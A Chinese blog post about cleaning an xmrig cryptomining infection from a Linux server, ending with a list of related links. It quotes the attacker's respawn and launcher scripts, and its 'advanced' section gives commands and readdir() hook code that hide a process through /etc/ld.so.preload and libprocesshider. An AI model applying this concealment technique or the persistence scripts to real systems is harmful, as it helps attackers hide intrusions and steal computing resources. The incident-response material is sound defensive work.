写在前面:这是一篇技术post,详细记述了一次作者单位的Linux操作系统反黑过程,如果你不感兴趣,也请对文首的安全建议提起重视并遵循这些建议提升(服务器的)安全性

安全建议(按照重要性降序排列)

1.不要随意给出root密码,也不要随意把某个账户设置为sudoer,刀架在裆部,sudoer也永远只给一个人2.创建用户的时候,尽量把密码设置的复杂(字母、数字和符号的组合)3.善用本机的防火墙程序,比如CentOS 7的firewall,不要出现绝大多数端口默认开启TCP/UDP这样生物狗的惯用“方便”设置4.尽量保证NAT等等的完整性,谨慎使用SSH reverse tunnel等技术进行内网穿透等操作(不要轻易暴露内网)

至此,对技术不感兴趣的朋友可以不必往下看了。有追求的小伙伴们可以继续读。

反黑过程

今天早上睡得迷迷糊糊被同事电话吵醒了,但是意识模糊,不等接通电话又睡死过去了,然后最终睡醒发现原来服务器被黑了,简直“垂死梦中惊坐起”,赶紧爬起来。详细询问了网管具体情况之后,他给我贴了一张图:

其实Linux操作系统下哪怕一段内存数据、一个进程都是文件形式的,何来“病毒”一说?对方一定是一个恶意脚本文件。留意到红框内的URL的xmrig字样,xmrig[1]是开源社区“臭名昭著”的挖矿程序,这个URL是矿池地址无疑了。因此我高度怀疑我们这台服务器是被劫持掉为hacker挖矿提供算力了(也就是所谓的肉鸡)。

至于为什么会被劫持,我并不方便透露。

由于xmrig是主要基于CPU的挖矿程序,我第一反应自然是使用htop看一下占用CPU最高的进程是什么:

这很科学,看来我最担心的情况(见下文“进阶”部分)没有发生,可疑的进程是可以被直接观察到的。

这个名为wqj的用户,经过盘查,最初创建的时候,密码居然也是wqj,所以请大家看回上文的“安全建议”,真的不要作死。后来据说这个叫wqj的沙雕很菜且工作不认真,离开了我们单位之后,他的账号也被“删除”了,但是很不幸,执行“删除账号”操作的弟兄不够认真,只是删除了家目录/home/wqj,而没有使用userdel去删除用户,自此留下了安全隐患。

这里要特别鸣谢一下亲师弟朱小煜[2]同学,没有你的帮助,我不可能在最短时间内掌握详细的hacker入侵的过程,解决问题会变得男上加男。

亲师弟仔细帮我阅读并排查了操作系统安全日志/var/log/secure的内容(我估计眼睛都看瞎了,需要吃鱼补一补?),我们可以看到以下线索:

首先,hacker早在2月24号就开始动手了,顺利登陆了wqj的账户并且修改了密码。

以及他还顺便scan了一周所有的用户名,看看还有哪个是易于攻击的。我们观察到一些其他的线索显示他对每个用户名都进行了两次尝试,毫无疑问其中一次必然是和用户名相同的密码,第二次是什么我们就不得而知了,不过想来应该是1234567890之类的简单东西。

多么侥幸的做法啊!但是这都中招,也从侧面反映了我们的网络安全意识非常糟糕。

留意到一个情况,高CPU占用的进程名为./sshd,它前面有./,显然并非真正的sshd程序,但是依然有这样的两种可能:

1.它只是一个“本份”的加了壳的挖矿程序2.它可能在挖矿之余,还在尝试用穷举法暴力拆解其他用户的密码组合

如果是后者,那太可怕了。同事建议我先断网、关机,但是难道服务器一世都不开机、不联网吗?切断hacker和服务器的连接根本无济于事,因为所有事情都在脚本里写好了,一切都是自动的,挖矿程序只需要一个代表用户名的hash值和一个矿池地址就足够了,根本不需要人去操作什么。如果恶意脚本文件隐藏得足够深,贸贸然切断进程与其的联系(虽然熟练使用lsof等还是可以追溯),只会使得后续的处理更加男。草率处理,只会增加使更多的用户甚至局域网内的其他机器都沦为肉鸡的风险。而且在我们并不清楚攻击者的意图的前提下,这样做更加冒险,如果对方是恶意的,大可在偷算力之余清空你硬盘上的文件,弱弱地问一句,你们还毕不毕业?与之相比,损失一点点电费算得上什么?

留意到之前的可疑进程的PID是24304,使用sudo lsof -p 24304追溯一下这个进程涉及的文件信息:

注意我红框内的内容:开始我以为对方使用了比较高级的技巧(详见下文“进阶”篇)隐藏了cybernetikusminer这个程序真实的信息,结果发现并非如此,我高估了他了...

涉及的驱动器路径是/dev/shm/,其下的详细路径是/.oznminerv2,如果是直接这样去访问:

cd /dev/shm/.oznminerv2

肯定是访问不到的。因为相对路径居然是/.oznminerv2,这个开头的/是个什么鬼?

因为绝大多数tty软件都是黑底白字,hacker显然技巧不够深,但是擅用诡计,真实的目录是/dev/shm/ /.oznminerv2,Linux下允许使用纯空格作为目录名,但是这个空格会被终端client程序内的背景色掩盖掉,很难发现问题。但是只要我们活用cat命令就躲不过我们的法眼。核实一下,果然:

这个沙雕,他还真是个小机灵鬼呢!这ls的输出的第一行,它可不就是一个不起眼的空格吗!

甚至你用cd /dev/shm/ /.oznminerv2都无法直接定位到这个目录,因为第二个空格之后的内容会被认为是cd命令的第二个参数

既然问题在这里,接下来的事情就很容易了。为了操作简便,我用支持SFTP协议的文件管理器访问了恶意脚本所在的目录,发现内容是这样:

你们看到那性感的三个小点点了吗!我真是感受到了深深的恶意。原来cybernetikusminer根本就不是程序名,sshd也不是,它只是文件名字太长,显示不开,全名是sshd(此处省略一万个空格)cybernetikusminer,所以导致一班系统工具里面显示都不正常,又是诡计!

这个文件是binary的,明摆了就是xmrig的主程序了,改了名字而已。既然主程序在这里,相信配置文件也不会远了。留意到这个目录里的文件大小,我打开那个文件名依然为空格的文件看了一眼内容:

果然!性感程序,在线挖矿!

干死进程,准备通知相关人员修改密码和注意安全问题,我以为这次入侵处理告一段落了。

没想到,没过几秒,这个沙雕进程它又双叒叕出现了!

留意到刚刚那个存放恶意程序的目录的其他几个文件内容,首先是这个ozn

nohup ./edoeprost &clear ; rm -rf nohu* ; clear ; echo "background succesfully - sile cyber - 2k20 - blana-bomba.exe 300iq.dll"ps -x | egrep cybsleep 3 ; rm -rf nohu* set default

这么看,似乎hacker还做了一些针对Windows机器的适配,但是这一层不重要,让我们转而查看edoeprost的内容:

while true ; do./sloboz ; sleep 5done

哟!(请自觉脑补河北腔)真是个磨人的小妖精!我ps aux | grep edoeprost一下看看是不是有这个进程:

看来hacker的一个核心思路是使用高CPU占用的进程来吸引维护者的注意力,但是就明修栈道、暗度陈仓。

既然整件事逐渐浮出来了,不如顺藤摸瓜,看看sloboz的内容:

#!/bin/bashservice="sshd                                                                                                                                                                                                                               cybernetikusminer"if (( $(ps -x | grep -v grep | grep $service | wc -l) > 0 ))thenecho "x"else./startfi

hacker居然还参考了Linux下daemon进程的设计...脚本指向start,那么它里面又是什么鬼?

start文件前340行都是空白,直到第341行才是正片,只有寥寥几字的./sshd* -c

hacker为了binary的主程序不被发现,还特意做了这几笔峰回路转的设计,可惜在真正的实力面前,这些都是小把戏啊...

删目录!kill!搞定!

进阶

hacker的手法其实很青涩,只是活用了空格,完全谈不上艺术。感觉可能是荷兰的一个高中生所为?如果对Linux内核和C语言有更深的理解,其实可以将这件事做到密不透风,简单po一下我早年入侵肉鸡的一个思路——究竟如何才能不着痕迹地把特定的进程隐藏起来?

想隐藏进程,首先就要深刻理解常见进程查看工具,比如toppslsof这些命令的原理。在Linux中,所有进程都以文件的形式存在,所以这个/proc目录详细记录了全部进程的信息。在调用比如ps这些命令的时候,无非也只是解析其目录的内容:

这些数字就是对应每个进程的PID。每个进程在创建伊始,都会在/proc下生成这样的一个目录,里面保存了很多信息。如果你是一只生信狗,看这篇日记的时候就应该想到,当你提交了一条任务,跑了很久都没跑完,以至于你都不记得当初把它提交时用的命令行参数了,怎么办?别担心,只要cat /proc/PID/cmdline(PID替换成对应的进程ID)就可以看到万恶♂之源(误)。

仔细阅读上述几个工具的源代码就可以发现,其实ps等程序调取/proc的内容其实都在使用openat()getdents()这些用C代码实现的函数。而openat()getdents()也并非根源,它们也要调用更为底层的C标准库(libc),里面提供了两个函数:opendir()readdir()。到目前为止,把进程藏起来大概可以有这样几个思路:

1.对类似SELinux这样的子系统做手脚。这个真不好改,其次,服务器管理员可能一早就睿智地把它关了。2.把toppslsof这些程序的二进制可执行文件改了。这个切实可行,但是你就要去改它们各自的源码。有几个类似的工具,就改几次,它更新,你再去改...再编译...你累不累啊?3.改掉libc。既然大家都在用libc的readdir(),改了它就一劳永逸!让它查看不到某些进程在/proc里面的内容就好了。4.直接修改内核对诸如getdents()函数的调用方式。

综上,前两点基本不可行,第四点牵连甚广也不宜作死,似乎最方便的办法就是改libc。有人要问,那我不是得重新编译内核?我不是得重启肉鸡的操作系统?都重启了我要搞个锤子?

别急嘛。这里就要利用一下Linux的预加载(preload)动态链接库的特性。Linux为了加速操作系统的运行响应速度,会把一些动态链接库(.so,即Windows下的.dll)预加载到内存中。我们可以捣鼓一个假的readdir()函数出来,加入操作系统的预加载列表内。之后系统再调用readdir()函数的时候,由于函数签名相同,早就已经被我们自己写的版本覆盖(reload)掉,是一个假的readdir()了。代码逻辑也很简单,发现进程名称和设定的一致,就跳过。这里我们为了少写代码,借用一下别人的轮子[3]

git clone git@github.com:gianlucaborello/libprocesshider.gitcd libprocesshider# 编译make# 把编译好的动态链接库放好sudo mv libprocesshider.so /usr/local/lib/# 加入预加载列表# 这一行要用root账户添加echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

代码怎么改?比如我们想要隐藏xmrig,那么就改掉processhider.c里面的process_to_filter变量:

static const char* process_to_filter = "xmrig"

篡改后的readdir()是这样的:

struct dirent* readdir(DIR *dirp)                                       \{                                                                       \    if(original_##readdir == NULL) {                                    \        original_##readdir = dlsym(RTLD_NEXT, "readdir");               \        if(original_##readdir == NULL)                                  \        {                                                               \            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \        }                                                               \    }                                                                   \                                                                        \    struct dirent* dir;                                                 \                                                                        \    while(1)                                                            \    {                                                                   \        dir = original_##readdir(dirp);                                 \        if(dir) {                                                       \            char dir_name[256];                                         \            char process_name[256];                                     \            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \                strcmp(dir_name, "/proc") == 0 &&                       \                get_process_name(dir->d_name, process_name) &&          \                strcmp(process_name, process_to_filter) == 0) {         \                continue;                                               \            }                                                           \        }                                                               \        break;                                                          \    }                                                                   \    return dir;                                                         \}

看着那句continue,你感受到了深深的恶意了吗?

不是我说笑,如果不使用sysdig这样代码从头实现的工具,hacker自己都该找不到自己的挖矿进程在哪里了,自己都杀不掉自己的进程,被攻击的人谈何发现?

“我杀不掉我自己!”

只能默默地看着自己的服务器变成僵尸,看着滔滔电费东逝水...

最后总结一下:

1.网络安全无小事,真的不重视的话,迟早有一天不能毕业2.遇到事情不要慌,在损失可控的前提下,想想根治的办法,睇定D先

今早(睡醒)搞到现在喂!好辛苦的!是不是打赏关注分享一波民工三连?

References

[1] xmrig: https://github.com/xmrig/xmrig[2] 朱小煜: https://github.com/kingzhuky[3] 轮子: https://github.com/gianlucaborello/libprocesshider

服务器关机了怎么办_记一次“艰辛”的服务器反黑过程相关推荐

  1. 服务器关机了怎么办_我们把服务器从1米多的台子上扔下来了,没坏

    是的,我们真会把服务器从最高1.2米的台子上把服务器摔下来. 这是为了给它做整机跌落测试. 检测服务器能否在震动.冲击等极端情况下,给用户提供稳定的服务. 只有通过的服务器,才能进入腾讯云的数据中心. ...

  2. java环境搭建_记一次阿里云服务器Java相关环境搭建的过程

    Java在Web开发中有着不可或缺的地位,在我们通常开发中,为了使编写的demo或者项目能够让更多的朋友看到,我们通常会将项目打包发布到网络中的服务器上,以便让更多的人访问到我们的劳动成果上.想着我们 ...

  3. 域控服务器取消验证_记一次域控服务器应急

    搜索公众号:暗网黑客 可领全套网络安全课程.配套攻防靶场 一介小白是如何成长为黑客大佬的 一.背景介绍 这是去年11月份的应急事件,反复到客户现场多次才找到原因,最后得到的结论也极为简单. 解决问题过 ...

  4. 宝塔面板服务器ip地址修改_「网站」快速搭建服务器环境及网站

    目录:「NAS」我的搭建NAS全过程 在文章开头我想说明的是,此文章中所使用的工具为 BT 面板即宝塔面板,适合小白使用 但是对于想要提升个人能力来说, BT 面板并不是一个好选择,而作为新手来说,可 ...

  5. 可以访问本地mysql服务器的命令是_在用户访问本地MySQL服务器时,访问命令可以省略“–h localhost”。...

    [单选题]1.男性,46岁,胃溃疡伴瘢痕性幽门梗阻.行毕Ⅱ式胃大部切除术后第8天,突然发生上腹部剧痛,呕吐频繁,每次量少,不含胆汁,呕吐后症状不缓解.体检:上腹部偏右有压痛.首先考虑并发了 [判断题] ...

  6. 买个云服务器有啥用_买了一台云服务器到底能干嘛?

    大家好,我是姜奋斗,目前在阿里云负责建站系统的运营(没错,阿里云也卖建站产品!!),云服务器也是阿里云的核心产品,我对此有所了解.下面把我了解的分享给大家. 云服务器 ECS(Elastic Comp ...

  7. mysql服务器默认使用用户_在Windows下配置MySql服务器默认使用的用户是

    在Windows下配置MySql服务器默认使用的用户是 答:root 制单的基本要求是 答:完整 及时 简明 正确 为了妥善解决各类旅游企业受损严重,普遍面临的现金流不足.应收账款风险.大量游客投诉和 ...

  8. 买个云服务器有啥用_买了一台云服务器可以干嘛

    随着云计算的快速发展,云服务器在市场上的应用越来越广泛,然而很多人对云服务模式和作用并不了解,那么到底有一个云服务器可以干嘛呢? 1.用来放网站 Web服务器的应用通常是最常见的,可以按照日常平均PV ...

  9. 我的世界服务器java启动脚本_我的世界 如何让服务器自动重启呢 自动重启脚本方法...

    今天为大家带来了<我的世界>自动重启的一个脚本,如何让服务器自动重启呢?那就来看看小编为大家带来的文章吧! 首先,你要有一个对应你服务器核心的插件,能让你的服务器实现定时关闭服务器. 说白 ...

最新文章

  1. 超越对手之四、五、六
  2. go开源项目influxdb-relay源码分析(一)
  3. 已知二叉树的前序遍历、中序遍历或者中序遍历、后序遍历求二叉树结构的算法
  4. JAVA的内省机制(introspector)与反射机制(reflection)
  5. 实验2 java_《Java程序设计》实验2
  6. CSS常见的四种垂直居中的方法
  7. HDU 4431 Mahjong(模拟题)
  8. JDK源码解析之 java.lang.Long
  9. 【7集iCore3基础视频】7-2 iCore3原理图介绍
  10. SendInput模拟键盘输入的问题 转
  11. oracle rac redo log,RAC共享online redo log和archived log的官方说明
  12. mysql中时间类型datetime,timestamp与int的区别
  13. 一次不愉快的面试经历
  14. QCon旧金山演讲总结:阿里无线技术架构演进
  15. python爬虫xpath提取数据_python爬虫的页面数据解析和提取/xpath/bs4/jsonpath/正则(1)...
  16. matlab模糊聚类分析画树状图,Matlab笔记模糊聚类分析原理及实现
  17. 任正非:一个人对自己都不狠,哪来的战斗力?
  18. 什么是Android性能,如何分析性能问题?
  19. 微信小程序如何加密?
  20. touch触摸事件以及常用触摸功能

热门文章

  1. 服务器机柜型号及技术参数
  2. 程序设计java银行自动取款机_模拟自动取款机系统(JAVA)
  3. 超级搜索 v1.0.1(附带 插件开发模板)
  4. 苹果报告问题_郭明錤:入门款iPhone 12的相机镜头供应商遇到质量问题,但不会影响新品的发布时间...
  5. OpenCV截取图像的任意形状区域,规则的图形(圆、椭圆、矩形),不规则鼠标自己选择
  6. 超大文件中在有限的内存里找到单词频率 top 100
  7. 大数据基础架构Hadoop,终于有人讲明白了
  8. 理解监督学习和无监督学习的定义
  9. 生成图像质量和多样性的评估方法
  10. IDEA卡在Downloading maven plugins的解决方法